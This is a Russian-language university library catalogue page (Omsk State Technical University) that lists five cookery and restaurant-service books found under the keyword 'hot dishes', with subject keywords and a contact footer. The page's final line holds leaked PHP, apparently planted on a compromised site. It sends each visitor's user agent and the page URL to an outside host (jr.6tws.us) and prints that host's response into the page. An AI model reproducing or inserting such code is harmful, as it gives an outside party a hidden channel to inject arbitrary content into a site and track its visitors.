Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

240 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=БЛЮДА ГОРЯЧИЕ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 5
1. 
Коршунов Н. В. Современный ресторан и культура обслуживания [Текст] / Н. В. Коршунов, 1968. - 183 с.
Ключевые слова 
ИНТЕРЬЕР РЕСТОРАНА -- ВЕНТИЛЯЦИЯ РЕСТОРАНА -- ОСВЕЩЕНИЕ РЕСТОРАНА -- ОБОРУДОВАНИЕ РЕСТОРАНА -- БЕЛЬЕ СТОЛОВОЕ -- ПОСУДА -- ОФИЦИАНТ - ПРАВИЛА РАБОТЫ -- РЕСТОРАН - ОБСЛУЖИВАНИЕ -- ВСТРЕЧА ПОСЕТИТЕЛЕЙ -- ПРИЕМ ЗАКАЗА -- ВЫПОЛНЕНИЕ ЗАКАЗА -- РАСЧЕТ С ПОСЕТИТЕЛЯМИ -- ОБСЛУЖИВАНИЕ ФОРУМОВ -- ОБСЛУЖИВАНИЕ ФЕСТИВАЛЕЙ -- ОБСЛУЖИВАНИЕ СИМПОЗИУМОВ -- РЕСТОРАН - ГОСТИНИЦА -- ОБСЛУЖИВАНИЕ БАНКЕТНОЕ -- СЕРВИРОВКА СТОЛА -- ОБСЛУЖИВАНИЕ ГОСТЕЙ -- ПРАВИЛА ПОВЕДЕНИЯ ЗА СТОЛОМ -- ЗАКУСКА -- БЛЮДА ПЕРВЫЕ -- БЛЮДА ВТОРЫЕ -- БЛЮДА ГОРЯЧИЕ -- БЛЮДА СЛАДКИЕ -- ПОДАЧА КОФЕ -- ПОДБОР ВИН -- ВИНО -- ВОДА МИНЕРАЛЬНАЯ -- ПИВО -- КОКТЕЙЛИ
Держатели документа (Информация об экземплярах) 
2. 
Сопина Л. Н. Пособие для повара [Текст] / Л. Н. Сопина, 2000. - 240 с.
Ключевые слова 
ОРГАНИЗАЦИЯ ПРОИЗВОДСТВА -- ПИТАНИЕ ОБЩЕСТВЕННОЕ -- ОБРАБОТКА ПРОДУКТОВ -- ОБРАБОТКА ОВОЩЕЙ -- ОБРАБОТКА ГРИБОВ -- ОБРАБОТКА КАРТОФЕЛЯ -- ОБРАБОТКА РЫБЫ -- ОБРАБОТКА МЯСА -- ОБРАБОТКА ПТИЦЫ -- ОБРАБОТКА КРОЛИКОВ -- ОБРАБОТКА ПРОДУКТОВ ТЕПЛОВАЯ -- БЛЮДА ХОЛОДНЫЕ -- БЛЮДА ГОРЯЧИЕ -- ЗАКУСКА -- БУТЕРБРОД -- ВИНЕГРЕТ -- СУП -- БУЛЬОН -- СУП ОВОЩНОЙ -- СУП КАРТОФЕЛЬНЫЙ -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА МЯСНЫЕ -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ ОВОЩЕЙ -- СОУС -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- БЛЮДА ИЗ МАКАРОННЫХ ИЗДЕЛИЙ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА СЛАДКИЕ -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО БЕЗДРОЖЖЕВОЕ -- БРАКЕРАЖ
Держатели документа (Информация об экземплярах) 
3. 
Хворостухина С. А. Секреты японской кухни [Текст] : закуски, соусы, супы, десерты, напитки / С. А. Хворостухина, 2004. - 239 с., [8] л. ил. с.
Держатели документа (Информация об экземплярах) 
4. 
Люка А. П. Европейская кухня [Текст] : издания для досуга / А. П. Люка, 2004. - 174 с.
Держатели документа (Информация об экземплярах) 
5. 
Барановский В. А. Повар-технолог [Текст] : Учеб. пособие для студ. сред. спец. заведений / В. А. Барановский, 2003. - 415 с.
Ключевые слова 
ФИЗИОЛОГИЯ ПИТАНИЯ -- САНИТАРИЯ -- ГИГИЕНА ОБЩЕСТВЕННОГО ПИТАНИ -- ПИТАНИЕ -- ГИГИЕНА ЛИЧНАЯ повара -- ОБРАБОТКА продуктов -- ОБРАБОТКА ОВОЩЕЙ -- ОБРАБОТКА ГРИБОВ -- ОБРАБОТКА РЫБЫ -- ОБРАБОТКА МЯСА -- ОБРАБОТКА ПТИЦЫ -- ОБРАБОТКА ДИЧИ -- ОБРАБОТКА КРОЛИКОВ -- БЛЮДА ХОЛОДНЫЕ -- БЛЮДА горячие -- ЗАКУСКА -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА РЫБНЫЕ -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ ПТИЦЫ -- СУП -- СОУС -- ПРЯНОСТИ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- БЛЮДА СЛАДКИЕ -- БЛЮДА ИЗ МАКАРОННЫХ ИЗДЕЛИЙ -- НАПИТКИ -- ТЕСТО -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО БЕЗДРОЖЖЕВОЕ -- ТЕСТО слоеное -- ТЕСТО песочное -- ТЕСТО бисквитное -- ТЕСТО заварное
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2931 - 19.06.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.56 с.12 запросов, 0.35c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;